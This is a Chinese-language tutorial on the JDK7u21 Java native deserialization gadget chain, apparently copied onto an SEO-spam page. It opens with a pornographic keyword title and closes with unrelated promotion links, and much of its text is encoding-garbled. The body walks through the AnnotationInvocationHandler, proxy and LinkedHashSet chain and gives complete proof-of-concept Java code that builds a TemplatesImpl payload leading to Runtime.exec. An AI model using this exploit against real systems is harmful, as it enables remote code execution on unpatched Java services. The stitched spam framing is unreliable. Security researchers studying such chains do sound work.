中文亚洲精品无码_熟女乱子伦免费_人人超碰人人爱国产_亚洲熟妇女综合网

當(dāng)前位置: 首頁 > news >正文

網(wǎng)站推廣東莞網(wǎng)站競價推廣怎么做

網(wǎng)站推廣東莞,網(wǎng)站競價推廣怎么做,如何在國外網(wǎng)站做免費推廣,政府信息網(wǎng)站建設(shè)文章目錄 【java安全】原生反序列化利用鏈JDK7u21前言原理equalsImpl()如何調(diào)用equalsImpl()?HashSet通過反序列化間接執(zhí)行equals()方法如何使hash相等? 思路整理POCGadget為什么在HashSet#add()前要將HashMap的value設(shè)為其他值? 【java安全】…

文章目錄

    • 【java安全】原生反序列化利用鏈JDK7u21
      • 前言
      • 原理
        • equalsImpl()
        • 如何調(diào)用equalsImpl()?
        • HashSet通過反序列化間接執(zhí)行equals()方法
        • 如何使hash相等?
      • 思路整理
      • POC
      • Gadget
      • 為什么在HashSet#add()前要將HashMap的value設(shè)為其他值?

【java安全】原生反序列化利用鏈JDK7u21

前言

前面我們學(xué)習(xí)了使用第三方類:Common-Collections、Common-Beanutils進行反序列化利用。我們肯定會想,如果不利用第三方類庫,能否進行反序列化利用鏈呢?這里還真有:JDK7u21。但是只適用于java 7u及以前的版本

在使用這條利用鏈時,需要設(shè)置jdk為jdk7u21

原理

JDK7u21這條鏈利用的核心其實就是AnnotationInvocationHandler,沒錯,就是我們之前學(xué)習(xí)過的那個類,位于:sun.reflect.annotation包下

equalsImpl()

我們看一下equalsImpl()getMemberMethods方法:

private Boolean equalsImpl(Object var1) {  //傳入var1...} else {Method[] var2 = this.getMemberMethods();int var3 = var2.length;for(int var4 = 0; var4 < var3; ++var4) {Method var5 = var2[var4];  // var5是一個方法對象String var6 = var5.getName();Object var7 = this.memberValues.get(var6);Object var8 = null;AnnotationInvocationHandler var9 = this.asOneOfUs(var1);if (var9 != null) {var8 = var9.memberValues.get(var6);} else {try {var8 = var5.invoke(var1);  // 這里會調(diào)用var1這個對象的var5方法} ...return true;}}private transient volatile Method[] memberMethods = null;private Method[] getMemberMethods() {if (this.memberMethods == null) {this.memberMethods = (Method[])AccessController.doPrivileged(new PrivilegedAction<Method[]>() {public Method[] run() {Method[] var1 = AnnotationInvocationHandler.this.type.getDeclaredMethods(); //獲得Method[]AccessibleObject.setAccessible(var1, true);return var1;}});}return this.memberMethods;}

equalsImpl()方法中明顯會調(diào)用memberMethod.invoke(o) ,而memberMethod來自于this.type.getDeclaredMethods()

如果我們此時傳入invoke()中的形參為TemplatesImpl對象,并且this.typeTemplatesImpl的字節(jié)碼對象。

那么經(jīng)過循環(huán)就會調(diào)用TemplatesImpl對象中的每個方法,就必然會調(diào)用newTransformer()getOutputProperties()方法從而執(zhí)行惡意字節(jié)碼了

如何調(diào)用equalsImpl()?

那么在哪里會調(diào)用equalsImpl()方法呢?invoke()

public Object invoke(Object var1, Method var2, Object[] var3) {String var4 = var2.getName();Class[] var5 = var2.getParameterTypes();//當(dāng)執(zhí)行invoke()方法時傳入的方法名字為equals并且形參只有一個,類型為Object就會執(zhí)行 equalsImpl()if (var4.equals("equals") && var5.length == 1 && var5[0] == Object.class) {return this.equalsImpl(var3[0]);  } else {assert var5.length == 0;if (var4.equals("toString")) {return this.toStringImpl();} else if (var4.equals("hashCode")) {return this.hashCodeImpl();} else if (var4.equals("annotationType")) {return this.type;} else {Object var6 = this.memberValues.get(var4); //cc1...}}}

我們之前cc1中是另this.memberValues等于一個LazyMap對象,讓其調(diào)用get()方法,就可以執(zhí)行cc1利用鏈了

但是這里我們不需要利用這里,我們需要注意這里:

//當(dāng)執(zhí)行invoke()方法時傳入的方法名字為equals并且形參只有一個,類型為Object就會執(zhí)行 equalsImpl()
if (var4.equals("equals") && var5.length == 1 && var5[0] == Object.class) {return this.equalsImpl(var3[0]);  
}

我們應(yīng)該思考這里的invoke()方法如何被調(diào)用,并且剛好使形參的第二個為equals、第三個參數(shù)的類型為Object對象

我們之前學(xué)習(xí)過動態(tài)代理,當(dāng)一個代理對象Proxy調(diào)用一個方法時,就會調(diào)用構(gòu)造該代理對象時傳入的InvocationHandlerinvoke()方法,并且第二個參數(shù)為methodName方法名,invoke()第三個參數(shù)為調(diào)用方法時傳入的參數(shù)

所以現(xiàn)在我們需要找到一個類,他在反序列化時,會間接的對Proxy對象調(diào)用equals()方法

HashSet通過反序列化間接執(zhí)行equals()方法

HashSet可以做到這個效果,實現(xiàn)這個效果有一點復(fù)雜,我們先大致了解一下過程

image-20230803163945918

我們創(chuàng)建一個LinkedHashSet對象,當(dāng)反序列化時會遍歷每一個值,使用LinkedHashMap#put()方法,

put()方法中這幾行是重點

int hash = hash(key);  //計算key的hash值
int i = indexFor(hash, table.length);  //這個i也是hash
for (Entry<K,V> e = table[i]; e != null; e = e.next) {Object k;if (e.hash == hash && ((k = e.key) == key || key.equals(k)))  //重點

這里會對key的hash與表中取出的e的hash做一個比較,如果這倆個hash相等,但是又不是同一個對象的化,就會執(zhí)行keyequals()方法,傳入?yún)?shù)k

這里我們假設(shè)keyProxy代理對象,并且這里傳入的k是一個TemplatesImpl惡意對象,那么就會執(zhí)行AnnotationInvocationHandlerinvoke()方法,從而執(zhí)行equalsImpl()中的invoke()方法

最終調(diào)用了TemplatesImpl惡意對象的newTransformer()方法RCE

image-20230803165019843

我們怎么控制上面的key以及k=e.key呢?

其實我們上面已經(jīng)分析了一下,這個key和k其實就是我們添加進入:LinkedHashSet中的元素而已

// 實例化HashSet,并將兩個對象放進去
HashSet set = new LinkedHashSet();
set.add(templates);
set.add(proxy);

我們應(yīng)該先添加TemplatesImpl對象,再添加Proxy代理對象,這樣才好觸發(fā)key.equals(k)

如何使hash相等?

我們上面其實默認(rèn)了一個前提,那就是e.hash == hash 。其實這兩個默認(rèn)肯定不相等,我們需要一些小操作使其相等

我們先來看看HashMap中的hash()方法:

final int hash(Object k) {...h ^= k.hashCode();h ^= (h >>> 20) ^ (h >>> 12);return h ^ (h >>> 7) ^ (h >>> 4);}

這里自始至終只用到了一個變量k.hashCode(),其他的都相等,我們想要ProxyTemplateImpl的hash相等,其實只需要讓k.hashCode()相等即可

TemplateImpl的 hashCode() 是一個Native方法,每次運 行都會發(fā)生變化,我們理論上是無法預(yù)測的,所以想讓proxy的 hashCode() 與之相等,只能寄希望于 proxy.hashCode()

當(dāng)我們調(diào)用proxy.hashCode()時,就會調(diào)用創(chuàng)建改代理對象時傳入的InvocationHandler對象的invoke()方法,我們繼續(xù)看看invoke()

public Object invoke(Object var1, Method var2, Object[] var3) {String var4 = var2.getName();Class[] var5 = var2.getParameterTypes();} else if (var4.equals("hashCode")) {return this.hashCodeImpl();}...}}

可見,會繼續(xù)調(diào)用invoke()中的hashCodeImpl()方法:

private int hashCodeImpl() {int var1 = 0;Map.Entry var3;for(Iterator var2 = this.memberValues.entrySet().iterator(); var2.hasNext(); var1 += 127 * ((String)var3.getKey()).hashCode() ^ memberValueHashCode(var3.getValue())) {var3 = (Map.Entry)var2.next();}return var1;}

重點是下面這一句,var1是計算累加和的,如果this.memberValues是一個HashMap類型并且其中只有一個元素,那么函數(shù)的返回值就變成了這個了:

127 * ((String)var3.getKey()).hashCode() ^ memberValueHashCode(var3.getValue())
即:
127 * key.hashCode() ^ value.hashCode()

我們想讓ProxyTemplateImpl的hash相等,并且TemplateImplhash不可控。

上述代碼中如果我們令key.hashCode()=0,并且我們令value 等于TemplateImpl對象,那么這兩個的hash就相等了,進而可以執(zhí)行Proxy的equals()方法了

我們需要找到一個值的hashCode為0,是可以通過爆破來實現(xiàn)的:

public static void bruteHashCode()
{for (long i = 0; i < 9999999999L; i++) {if (Long.toHexString(i).hashCode() == 0) {System.out.println(Long.toHexString(i));}}
}

跑出來第一個是 f5a5a608 ,這個也是ysoserial中用到的字符串

思路整理

講完了這么多我們理清一下思路

先創(chuàng)建一個惡意TemplatesImpl對象:

TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates,"_bytecodes",new byte[][]{ClassPool.getDefault().get(EvilTemplatesImpl.class.getName()).toBytecode()});
setFieldValue(templates, "_name", "HelloTemplatesImpl");
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());

為了使ProxyTemplateImpl的hash相等,以便執(zhí)行equals(),我們需要讓AnnotationInvocationHandlerthis.memberValues等于一個HashMap并且只有一個元素:key為f5a5a608,value為:TemplateImpl對象,這樣由AnnotationInvocationHandler組成的代理對象proxyTemplateImpl的hash就會相等

所以創(chuàng)建一個HashMap

// 實例化一個map,并添加Magic Number為key,也就是f5a5a608,value先隨便設(shè)置一個值
HashMap map = new HashMap();
map.put(zeroHashCodeStr, "foo");

實例化 AnnotationInvocationHandler 對象

  • 它的type屬性是一個TemplateImpl類
  • 它的memberValues屬性是一個Map,Map只有一個key和value,key是字符串 f5a5a608 , value是前面生成的惡意TemplateImpl對象

實例化AnnotationInvocationHandler類,將map傳參進去,經(jīng)過構(gòu)造函數(shù)設(shè)置為memberValues

由于equalImpl()方法會調(diào)用memberMethod.invoke(o),這個memberMethod來自this.type.getDeclaredMethods()所以需要設(shè)置typeTemplatesImpl的 字節(jié)碼,這里構(gòu)造函數(shù)會將第一個參數(shù)設(shè)為type

Constructor handlerConstructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class);
handlerConstructor.setAccessible(true);
InvocationHandler tempHandler = (InvocationHandler) handlerConstructor.newInstance(Templates.class, map);

在創(chuàng)建核心的LinkedHashSet之前,我們需要創(chuàng)建一個代理對象,將tempHandler給傳進去

// 為tempHandler創(chuàng)造一層代理
Templates proxy = (Templates) Proxy.newProxyInstance(JDK7u21.class.getClassLoader(), new Class[]{Templates.class}, tempHandler);

然后實例化:HashSet:

// 實例化HashSet,并將兩個對象放進去
HashSet set = new LinkedHashSet();
set.add(templates); 
set.add(proxy);

添加的先后順序要注意一下,Proxy應(yīng)該放在后面,這樣才會調(diào)用Proxy#equals()

這樣在反序列化觸發(fā)rce的流程如下:

首先觸發(fā)HashSet的readObject()方法,然后集合中的值會使用LinkedHasnMapput(key,常數(shù))方法進行key去重

去重時計算元素的hashcode,由于我們已經(jīng)構(gòu)造其相等,所以會觸發(fā)Proxy#equals()方法

進而調(diào)用AnnotationInvocationHandler#invoke()-> AnnotationInvocationHandler#equalsImpl()方法

equalsImpl()會遍歷type的每個方法并調(diào)用。

因為this.typeTemplatesImpl字節(jié)碼對象,所以最終會觸發(fā)newTransformer()造成RCE

POC

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.HashSet;
import java.util.LinkedHashSet;
import java.util.Map;public class JDK7u21 {public static void main(String[] args) throws Exception {TemplatesImpl templates = new TemplatesImpl();setFieldValue(templates,"_bytecodes",new byte[][]{ClassPool.getDefault().get(EvilTemplatesImpl.class.getName()).toBytecode()});setFieldValue(templates, "_name", "HelloTemplatesImpl");setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());String zeroHashCodeStr = "f5a5a608";// 實例化一個map,并添加Magic Number為key,也就是f5a5a608,value先隨便設(shè)置一個值HashMap map = new HashMap();map.put(zeroHashCodeStr, "foo");// 實例化AnnotationInvocationHandler類Constructor handlerConstructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class);handlerConstructor.setAccessible(true);InvocationHandler tempHandler = (InvocationHandler) handlerConstructor.newInstance(Templates.class, map);// 為tempHandler創(chuàng)造一層代理Templates proxy = (Templates) Proxy.newProxyInstance(JDK7u21.class.getClassLoader(), new Class[]{Templates.class}, tempHandler);// 實例化HashSet,并將兩個對象放進去HashSet set = new LinkedHashSet();set.add(templates);set.add(proxy);// 將惡意templates設(shè)置到map中map.put(zeroHashCodeStr, templates);ByteArrayOutputStream barr = new ByteArrayOutputStream();ObjectOutputStream oos = new ObjectOutputStream(barr);oos.writeObject(set);oos.close();System.out.println(barr);ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));Object o = (Object)ois.readObject();}public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {Field field = obj.getClass().getDeclaredField(fieldName);field.setAccessible(true);field.set(obj, value);}
}

Gadget

HashSet#readObject()LinkedHashMap#put(e, PRESENT)Proxy#equals(k)AnnotationInvocationHandler#invoke()equalsImpl()TemplatesImpl#newTransformer()...ClassLoader.defineClass()...Runtime.exec()

為什么在HashSet#add()前要將HashMap的value設(shè)為其他值?

我們追蹤一下HashSet#add()方法,發(fā)現(xiàn)他也會調(diào)用HashMap#put()方法,這樣就會導(dǎo)致Proxy提前觸發(fā)equals()方法造成命令執(zhí)行:

image-20230803181355838

我們測試一下:

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.HashSet;
import java.util.LinkedHashSet;
import java.util.Map;public class JDK7u21 {public static void main(String[] args) throws Exception {TemplatesImpl templates = new TemplatesImpl();setFieldValue(templates,"_bytecodes",new byte[][]{ClassPool.getDefault().get(EvilTemplatesImpl.class.getName()).toBytecode()});setFieldValue(templates, "_name", "HelloTemplatesImpl");setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());String zeroHashCodeStr = "f5a5a608";HashMap map = new HashMap();map.put(zeroHashCodeStr, templates);  //value再這里設(shè)為templatesConstructor handlerConstructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class);handlerConstructor.setAccessible(true);InvocationHandler tempHandler = (InvocationHandler) handlerConstructor.newInstance(Templates.class, map);Templates proxy = (Templates) Proxy.newProxyInstance(JDK7u21.class.getClassLoader(), new Class[]{Templates.class}, tempHandler);HashSet set = new LinkedHashSet();set.add(templates);set.add(proxy);}public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {Field field = obj.getClass().getDeclaredField(fieldName);field.setAccessible(true);field.set(obj, value);}
}

成功不經(jīng)過反序列化就彈出計算器:

image-20230803181634928

所以我們需要先將HashMap的唯一一個元素的value設(shè)為其他值

http://www.risenshineclean.com/news/55807.html

相關(guān)文章:

  • h5網(wǎng)站建設(shè)短鏈接
  • dede cms 網(wǎng)站模板谷歌外貿(mào)平臺
  • 做網(wǎng)站圖片用什么格式網(wǎng)絡(luò)營銷第三版課本
  • b站 的網(wǎng)站 怎么做著名的營銷成功的案例
  • 深圳網(wǎng)站建設(shè)公司招聘b2b網(wǎng)站排名
  • 做vi網(wǎng)站品牌設(shè)計
  • 常州網(wǎng)站制作機構(gòu)今日熱點新聞事件摘抄
  • 福建閩東建設(shè)網(wǎng)站如何讓關(guān)鍵詞排名靠前
  • 可視化建網(wǎng)站河南網(wǎng)站建設(shè)哪里好
  • 同個主體新增網(wǎng)站備案產(chǎn)品推廣方式
  • 廣西網(wǎng)站怎么制作什么推廣平臺好
  • 做pc端網(wǎng)站案例網(wǎng)站搜什么關(guān)鍵詞
  • 太原cms建站系統(tǒng)百度寫一篇文章多少錢
  • 網(wǎng)站圖片怎么優(yōu)化百度推廣區(qū)域代理
  • wordpress的.htaccess北京優(yōu)化seo
  • 東莞做網(wǎng)站找微客巴巴阿里指數(shù)網(wǎng)站
  • 做網(wǎng)站怎么掙錢賺錢職業(yè)培訓(xùn)機構(gòu)排名
  • 成都網(wǎng)站開發(fā)的公司網(wǎng)頁制作教程視頻
  • 建設(shè)大型網(wǎng)站seo推廣網(wǎng)絡(luò)
  • 購物網(wǎng)站如何做性能測試上海百度競價
  • 網(wǎng)站備案行業(yè)外貿(mào)網(wǎng)站seo推廣教程
  • 深圳網(wǎng)博網(wǎng)站建設(shè)app開發(fā)者需要更新此app
  • 用asp做網(wǎng)站網(wǎng)站空間費用一年多少
  • 畢設(shè)網(wǎng)站可以用axure做嗎軟文營銷怎么寫
  • 網(wǎng)站建設(shè)的關(guān)鍵網(wǎng)絡(luò)推廣優(yōu)化工具
  • 生日祝福網(wǎng)頁鏈接制作360優(yōu)化大師官方網(wǎng)站
  • 政府網(wǎng)站建設(shè)匯報及時更新江蘇網(wǎng)站seo設(shè)計
  • 2018年網(wǎng)站優(yōu)化怎么做西安百度關(guān)鍵詞優(yōu)化
  • 一個vps可以建多少網(wǎng)站百度sem推廣
  • 移動端網(wǎng)站和微信網(wǎng)頁設(shè)計推廣軟文營銷案例